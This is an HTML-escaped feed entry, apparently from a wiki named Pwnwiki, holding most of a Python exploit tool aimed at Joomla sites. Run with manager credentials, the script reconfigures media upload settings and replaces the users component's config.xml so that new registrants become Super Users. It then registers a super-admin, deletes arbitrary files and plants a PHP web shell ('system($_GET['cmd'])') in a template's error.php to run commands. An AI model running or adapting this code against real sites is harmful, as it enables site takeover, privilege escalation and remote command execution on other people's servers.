			description=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;0&amp;quot;&lt;br /&gt;
			last=&amp;quot;20&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;10&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;reset_time&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;1&amp;quot;&lt;br /&gt;
			last=&amp;quot;24&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;minimum_length&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;4&amp;quot;&lt;br /&gt;
			last=&amp;quot;99&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;4&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;minimum_integers&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;0&amp;quot;&lt;br /&gt;
			last=&amp;quot;98&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;minimum_symbols&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;0&amp;quot;&lt;br /&gt;
			last=&amp;quot;98&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;minimum_uppercase&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;0&amp;quot;&lt;br /&gt;
			last=&amp;quot;98&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;minimum_lowercase&amp;quot;&lt;br /&gt;
			type=&amp;quot;integer&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC&amp;quot;&lt;br /&gt;
			first=&amp;quot;0&amp;quot;&lt;br /&gt;
			last=&amp;quot;98&amp;quot;&lt;br /&gt;
			step=&amp;quot;1&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;user_notes_history&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_CONFIG_FIELD_NOTES_HISTORY&amp;quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;save_history&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;JGLOBAL_SAVE_HISTORY_OPTIONS_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;history_limit&amp;quot;&lt;br /&gt;
			type=&amp;quot;number&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC&amp;quot;&lt;br /&gt;
			filter=&amp;quot;integer&amp;quot;&lt;br /&gt;
			default=&amp;quot;5&amp;quot;&lt;br /&gt;
			showon=&amp;quot;save_history:1&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;massmail&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_MASS_MAIL&amp;quot;&lt;br /&gt;
		description=&amp;quot;COM_USERS_MASS_MAIL_DESC&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
 			name=&amp;quot;mailSubjectPrefix&amp;quot;&lt;br /&gt;
 			type=&amp;quot;text&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 		&amp;lt;field&lt;br /&gt;
 			name=&amp;quot;mailBodySuffix&amp;quot;&lt;br /&gt;
			type=&amp;quot;textarea&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC&amp;quot;&lt;br /&gt;
 			rows=&amp;quot;5&amp;quot;&lt;br /&gt;
 			cols=&amp;quot;30&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;debug&amp;quot;&lt;br /&gt;
		label=&amp;quot;COM_USERS_DEBUG_LABEL&amp;quot;&lt;br /&gt;
		description=&amp;quot;COM_USERS_DEBUG_DESC&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;debugUsers&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_DEBUG_USERS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_DEBUG_USERS_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;debugGroups&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;COM_USERS_DEBUG_GROUPS_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;COM_USERS_DEBUG_GROUPS_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset name=&amp;quot;integration&amp;quot;&lt;br /&gt;
		label=&amp;quot;JGLOBAL_INTEGRATION_LABEL&amp;quot;&lt;br /&gt;
		description=&amp;quot;COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC&amp;quot;&lt;br /&gt;
	&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;integration_sef&amp;quot;&lt;br /&gt;
			type=&amp;quot;note&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_SEF_TITLE&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;sef_advanced&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno btn-group-reversed&amp;quot;&lt;br /&gt;
			default=&amp;quot;0&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_SEF_ADVANCED_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;JGLOBAL_SEF_ADVANCED_DESC&amp;quot;&lt;br /&gt;
			filter=&amp;quot;integer&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JGLOBAL_SEF_ADVANCED_LEGACY&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JGLOBAL_SEF_ADVANCED_MODERN&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;integration_customfields&amp;quot;&lt;br /&gt;
			type=&amp;quot;note&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_FIELDS_TITLE&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;custom_fields_enable&amp;quot;&lt;br /&gt;
			type=&amp;quot;radio&amp;quot;&lt;br /&gt;
			label=&amp;quot;JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL&amp;quot;&lt;br /&gt;
			description=&amp;quot;JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC&amp;quot;&lt;br /&gt;
			class=&amp;quot;btn-group btn-group-yesno&amp;quot;&lt;br /&gt;
			default=&amp;quot;1&amp;quot;&lt;br /&gt;
			&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&lt;br /&gt;
			&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&lt;br /&gt;
		&amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;fieldset&lt;br /&gt;
		name=&amp;quot;permissions&amp;quot;&lt;br /&gt;
		label=&amp;quot;JCONFIG_PERMISSIONS_LABEL&amp;quot;&lt;br /&gt;
		description=&amp;quot;JCONFIG_PERMISSIONS_DESC&amp;quot;&lt;br /&gt;
		&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		&amp;lt;field&lt;br /&gt;
			name=&amp;quot;rules&amp;quot;&lt;br /&gt;
			type=&amp;quot;rules&amp;quot;&lt;br /&gt;
			label=&amp;quot;JCONFIG_PERMISSIONS_LABEL&amp;quot;&lt;br /&gt;
			filter=&amp;quot;rules&amp;quot;&lt;br /&gt;
			validate=&amp;quot;rules&amp;quot;&lt;br /&gt;
			component=&amp;quot;com_users&amp;quot;&lt;br /&gt;
			section=&amp;quot;component&amp;quot;&lt;br /&gt;
		/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&amp;lt;/config&amp;gt;&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    f = open(filename, &amp;quot;w&amp;quot;)&lt;br /&gt;
    f.write(content)&lt;br /&gt;
    f.close&lt;br /&gt;
&lt;br /&gt;
def extract_token(resp):&lt;br /&gt;
    match = re.search(r'name=&amp;quot;([a-f0-9]{32})&amp;quot; value=&amp;quot;1&amp;quot;', resp.text, re.S)&lt;br /&gt;
    if match is None:&lt;br /&gt;
        print(&amp;quot;[-] Cannot find CSRF token!\n&amp;quot;)&lt;br /&gt;
        return None&lt;br /&gt;
    return match.group(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def try_admin_login(sess, url, uname, upass):&lt;br /&gt;
    admin_url = url + '/administrator/index.php'&lt;br /&gt;
    print('[+] Getting token for Manager login')&lt;br /&gt;
    resp = sess.get(admin_url, verify=True)&lt;br /&gt;
    token = extract_token(resp)&lt;br /&gt;
    if not token:&lt;br /&gt;
        return False&lt;br /&gt;
    print('[+] Logging in to Admin')&lt;br /&gt;
    data = {&lt;br /&gt;
        'username': uname,&lt;br /&gt;
        'passwd': upass,&lt;br /&gt;
        'task': 'login',&lt;br /&gt;
        token: '1'&lt;br /&gt;
    }&lt;br /&gt;
    resp = sess.post(admin_url, data=data, verify=True)&lt;br /&gt;
    if 'task=profile.edit' not in resp.text:&lt;br /&gt;
        print('[!] Admin Login Failure!')&lt;br /&gt;
        return None&lt;br /&gt;
    print('[+] Admin Login Successfully!')&lt;br /&gt;
    return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def check_admin(sess, url):&lt;br /&gt;
    url_check = url + '/administrator/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_media&amp;amp;path='&lt;br /&gt;
    resp = sess.get(url_check, verify=True)&lt;br /&gt;
    token = extract_token(resp)&lt;br /&gt;
    if not token:&lt;br /&gt;
        print (&amp;quot;[-] You are not admin account!&amp;quot;)&lt;br /&gt;
        sys.exit()&lt;br /&gt;
    return token&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def set_media_options(url, sess, dir, token):&lt;br /&gt;
    print(&amp;quot;[+] Setting media options&amp;quot;)&lt;br /&gt;
    newdata = {&lt;br /&gt;
        'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',&lt;br /&gt;
        'jform[upload_maxsize]': 10,&lt;br /&gt;
        'jform[file_path]': dir,&lt;br /&gt;
        'jform[image_path]': dir,&lt;br /&gt;
        'jform[restrict_uploads]': 0,&lt;br /&gt;
        'jform[check_mime]': 0,&lt;br /&gt;
        'jform[image_extensions]': 'bmp,gif,jpg,png',&lt;br /&gt;
        'jform[ignore_extensions]': '',&lt;br /&gt;
        'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',&lt;br /&gt;
        'jform[upload_mime_illegal]': 'text/html',&lt;br /&gt;
        'id': 13,&lt;br /&gt;
        'component': 'com_media',&lt;br /&gt;
        'task': 'config.save.component.apply',&lt;br /&gt;
        token: 1&lt;br /&gt;
    }&lt;br /&gt;
    newdata['task'] = 'config.save.component.apply'&lt;br /&gt;
    config_url = url + '/administrator/index.php?option=com_config'&lt;br /&gt;
    resp = sess.post(config_url, data=newdata, verify=True)&lt;br /&gt;
    if 'jform[upload_extensions]' not in resp.text:&lt;br /&gt;
        print('[!] Maybe failed to set media options...')&lt;br /&gt;
        return False&lt;br /&gt;
    return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def traversal(sess, url):&lt;br /&gt;
    shell_url = url + '/administrator/index.php?option=com_media&amp;amp;view=mediaList&amp;amp;tmpl=component&amp;amp;folder='&lt;br /&gt;
    resp = sess.get(shell_url, verify=True)&lt;br /&gt;
    page = resp.text.encode('utf-8')&lt;br /&gt;
    html = lxml.html.fromstring(page)&lt;br /&gt;
    files = html.xpath(&amp;quot;//input[@name='rm[]']/@value&amp;quot;)&lt;br /&gt;
    for file in files:&lt;br /&gt;
        print (file)&lt;br /&gt;
    pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def removeFile(sess, url, filename, token):&lt;br /&gt;
    remove_path = url + '/administrator/index.php?option=com_media&amp;amp;task=file.delete&amp;amp;tmpl=index&amp;amp;' + token + '=1&amp;amp;folder=&amp;amp;rm[]=' + filename&lt;br /&gt;
    msg = sess.get(remove_path, verify=True,proxies=proxies)&lt;br /&gt;
    page = msg.text.encode('utf-8')&lt;br /&gt;
    html = lxml.html.fromstring(page)&lt;br /&gt;
    file_remove = html.xpath(&amp;quot;//div[@class='alert-message']/text()[1]&amp;quot;)&lt;br /&gt;
    print ('\n' + '[Result]: ' + file_remove[-1])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def upload_file(sess, url, file, token):&lt;br /&gt;
    print(&amp;quot;[+] Uploading config.xml&amp;quot;)&lt;br /&gt;
    filename = &amp;quot;config.xml&amp;quot;&lt;br /&gt;
    url = url + '/administrator/index.php?option=com_media&amp;amp;task=file.upload&amp;amp;tmpl=component&amp;amp;' + token + '=1&amp;amp;format=html&amp;amp;folder='&lt;br /&gt;
    files = {&lt;br /&gt;
        'Filedata[]': (filename, file, 'text/xml')&lt;br /&gt;
    }&lt;br /&gt;
    data = dict(folder=&amp;quot;&amp;quot;)&lt;br /&gt;
    resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)&lt;br /&gt;
    if filename not in resp.text:&lt;br /&gt;
        print(&amp;quot;[!] Failed to upload file!&amp;quot;)&lt;br /&gt;
        return False&lt;br /&gt;
    print(&amp;quot;[+] Exploit Successfully!&amp;quot;)&lt;br /&gt;
    return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def set_users_option(sess, url, token):&lt;br /&gt;
    newdata = {&lt;br /&gt;
        'jform[allowUserRegistration]': 1,&lt;br /&gt;
        'jform[new_usertype]': 8,&lt;br /&gt;
        'jform[guest_usergroup]': 8,&lt;br /&gt;
        'jform[sendpassword] ': 0,&lt;br /&gt;
        'jform[useractivation]': 0,&lt;br /&gt;
        'jform[mail_to_admin]': 0,&lt;br /&gt;
        'id': 25,&lt;br /&gt;
        'component': 'com_users',&lt;br /&gt;
        'task': 'config.save.component.apply',&lt;br /&gt;
        token: 1&lt;br /&gt;
    }&lt;br /&gt;
    newdata['task'] = 'config.save.component.apply'&lt;br /&gt;
    config_url = url + '/administrator/index.php?option=com_config'&lt;br /&gt;
    resp = sess.post(config_url, data=newdata, verify=True)&lt;br /&gt;
    if 'Configuration saved.' not in resp.text:&lt;br /&gt;
        print('[!] Could not save data. Error: Save not permitted.')&lt;br /&gt;
        return False&lt;br /&gt;
    return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_superuser(sess, url, username, password, email):&lt;br /&gt;
    resp = sess.get(url + &amp;quot;/index.php?option=com_users&amp;amp;view=registration&amp;quot;, verify=True)&lt;br /&gt;
    token = extract_token(resp)&lt;br /&gt;
    data = {&lt;br /&gt;
        # Form data&lt;br /&gt;
        'jform[name]': username,&lt;br /&gt;
        'jform[username]': username,&lt;br /&gt;
        'jform[password1]': password,&lt;br /&gt;
        'jform[password2]': password,&lt;br /&gt;
        'jform[email1]': email,&lt;br /&gt;
        'jform[email2]': email,&lt;br /&gt;
        'jform[option]': 'com_users',&lt;br /&gt;
        'jform[task]': 'registration.register',&lt;br /&gt;
        token: '1',&lt;br /&gt;
    }&lt;br /&gt;
    url_post = &amp;quot;/index.php/component/users/?task=registration.register&amp;amp;Itemid=101&amp;quot;&lt;br /&gt;
    sess.post(url + url_post, data=data, verify=True)&lt;br /&gt;
    sess.get(url + &amp;quot;/administrator/index.php?option=com_login&amp;amp;task=logout&amp;amp;&amp;quot; + token + &amp;quot;=1&amp;quot;, verify=True)&lt;br /&gt;
    newsess = requests.Session()&lt;br /&gt;
    if try_admin_login(newsess, url, username, password):&lt;br /&gt;
        print (&amp;quot;[+] Now, you are super-admin!!!!!!!!!!!!!!!!&amp;quot; + &amp;quot;\n[+] Your super-admin account: \n[+] USERNAME: &amp;quot; + username + &amp;quot;\n[+] PASSWORD: &amp;quot; + password)&lt;br /&gt;
        return newsess&lt;br /&gt;
    else:&lt;br /&gt;
        print (&amp;quot;[-] Sorry,exploit fail!&amp;quot;)&lt;br /&gt;
    return None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def setOption(url, sess, usuper, psuper, esuper, token):&lt;br /&gt;
    print (&amp;quot;Superadmin Creation:&amp;quot;)&lt;br /&gt;
    #  folder contains config.xml&lt;br /&gt;
    dir = './administrator/components/com_users'&lt;br /&gt;
    filename = 'config.xml'&lt;br /&gt;
    set_media_options(url, sess, dir, token)&lt;br /&gt;
    traversal(sess, url)&lt;br /&gt;
    removeFile(sess, url, filename, token)&lt;br /&gt;
    f = open(&amp;quot;config.xml&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
    upload_file(sess, url, f, token)&lt;br /&gt;
    set_users_option(sess, url, token)&lt;br /&gt;
&lt;br /&gt;
def rce(sess, url, cmd, token):&lt;br /&gt;
    filename = 'error.php'&lt;br /&gt;
    shlink = url + '/administrator/index.php?option=com_templates&amp;amp;view=template&amp;amp;id=506&amp;amp;file=506&amp;amp;file=L2Vycm9yLnBocA%3D%3D'&lt;br /&gt;
    shdata_up = {&lt;br /&gt;
        'jform[source]': &amp;quot;&amp;lt;?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?&amp;gt;&amp;quot;,&lt;br /&gt;
        'task': 'template.apply',&lt;br /&gt;
        token: '1',&lt;br /&gt;
        'jform[extension_id]': '506',&lt;br /&gt;
        'jform[filename]': '/' + filename&lt;br /&gt;
    }&lt;br /&gt;
    sess.post(shlink, data=shdata_up,proxies=proxies)&lt;br /&gt;
    path2shell = '/templates/protostar/error.php?cmd=' + cmd&lt;br /&gt;
    # print '[+] Shell is ready to use: ' + str(path2shell)&lt;br /&gt;
    print ('[+] Checking:')&lt;br /&gt;
    shreq = sess.get(url + path2shell,proxies=proxies)&lt;br /&gt;
    shresp = shreq.text&lt;br /&gt;
    print (shresp + '[+] Shell link: \n' + (url + path2shell))&lt;br /&gt;
    print ('[+] Module finished.')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    # Construct the argument parser&lt;br /&gt;
    ap = argparse.ArgumentParser()&lt;br /&gt;
    # Add the arguments to the parser&lt;br /&gt;
    ap.add_argument(&amp;quot;-url&amp;quot;, &amp;quot;--url&amp;quot;, required=True,&lt;br /&gt;
                    help=&amp;quot; URL for your Joomla target&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-u&amp;quot;, &amp;quot;--username&amp;quot;, required=True,&lt;br /&gt;
                    help=&amp;quot;username&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--password&amp;quot;, required=True,&lt;br /&gt;
                    help=&amp;quot;password&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-dir&amp;quot;, &amp;quot;--directory&amp;quot;, required=False, default='./',&lt;br /&gt;
                    help=&amp;quot;directory&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-rm&amp;quot;, &amp;quot;--remove&amp;quot;, required=False,&lt;br /&gt;
                    help=&amp;quot;filename&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-rce&amp;quot;, &amp;quot;--rce&amp;quot;, required=False, default=&amp;quot;0&amp;quot;,&lt;br /&gt;
                    help=&amp;quot;RCE's mode is 1 to turn on&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-cmd&amp;quot;, &amp;quot;--command&amp;quot;, default=&amp;quot;whoami&amp;quot;,&lt;br /&gt;
                    help=&amp;quot;command&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-usuper&amp;quot;, &amp;quot;--usernamesuper&amp;quot;, default=&amp;quot;hk&amp;quot;,&lt;br /&gt;
                    help=&amp;quot;Super's username&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-psuper&amp;quot;, &amp;quot;--passwordsuper&amp;quot;, default=&amp;quot;12345678&amp;quot;,&lt;br /&gt;
                    help=&amp;quot;Super's password&amp;quot;)&lt;br /&gt;
    ap.add_argument(&amp;quot;-esuper&amp;quot;, &amp;quot;--emailsuper&amp;quot;, default=&amp;quot;hk@hk.com&amp;quot;,&lt;br /&gt;
                    help=&amp;quot;Super's Email&amp;quot;)&lt;br /&gt;
    args = vars(ap.parse_args())&lt;br /&gt;
    # target&lt;br /&gt;
    url = format(str(args['url']))&lt;br /&gt;
    print ('[+] Your target: ' + url)&lt;br /&gt;
    # username&lt;br /&gt;
    uname = format(str(args['username']))&lt;br /&gt;
    # password&lt;br /&gt;
    upass = format(str(args['password']))&lt;br /&gt;
    # directory&lt;br /&gt;
    dir = format(str(args['directory']))&lt;br /&gt;
    # init&lt;br /&gt;
    sess = requests.Session()&lt;br /&gt;
    # admin login&lt;br /&gt;
    if (try_admin_login(sess, url, uname, upass) == None): sys.exit()&lt;br /&gt;
    # get token&lt;br /&gt;
    token = check_admin(sess, url)&lt;br /&gt;
    # set options&lt;br /&gt;
    set_media_options(url, sess, dir, token)&lt;br /&gt;
    print (&amp;quot;Directory mode:&amp;quot;)&lt;br /&gt;
    traversal(sess, url)&lt;br /&gt;
    if ap.parse_args().remove:&lt;br /&gt;
        print (&amp;quot;\nRemove file mode: &amp;quot;)&lt;br /&gt;
        filename = format(str(args['remove']))&lt;br /&gt;
        removeFile(sess, url, filename, token)&lt;br /&gt;
    # check option superadmin creation&lt;br /&gt;
    # username of superadmin&lt;br /&gt;
    usuper = format(str(args['usernamesuper']))&lt;br /&gt;
    # password of superadmin&lt;br /&gt;
    psuper = format(str(args['passwordsuper']))&lt;br /&gt;
    # email of superadmin&lt;br /&gt;
    esuper = format(str(args['emailsuper']))&lt;br /&gt;
    # RCE mode&lt;br /&gt;
    if (format(str(args['rce'])) == &amp;quot;1&amp;quot;):&lt;br /&gt;
        print (&amp;quot;\nRCE mode:\n&amp;quot;)&lt;br /&gt;
        # command&lt;br /&gt;
        filename=&amp;quot;config.xml&amp;quot;&lt;br /&gt;
        writeConfigFile(filename)&lt;br /&gt;
        command = format(str(args['command']))&lt;br /&gt;
        setOption(url, sess, usuper, psuper, esuper, token)&lt;br /&gt;
         # superadmin creation&lt;br /&gt;
        newsess = create_superuser(sess, url, usuper, psuper, esuper)&lt;br /&gt;
        if newsess != None :&lt;br /&gt;
            # get token&lt;br /&gt;
            newtoken = check_admin(newsess, url)&lt;br /&gt;
            rce(newsess, url, command, newtoken)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    sys.exit(main())&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>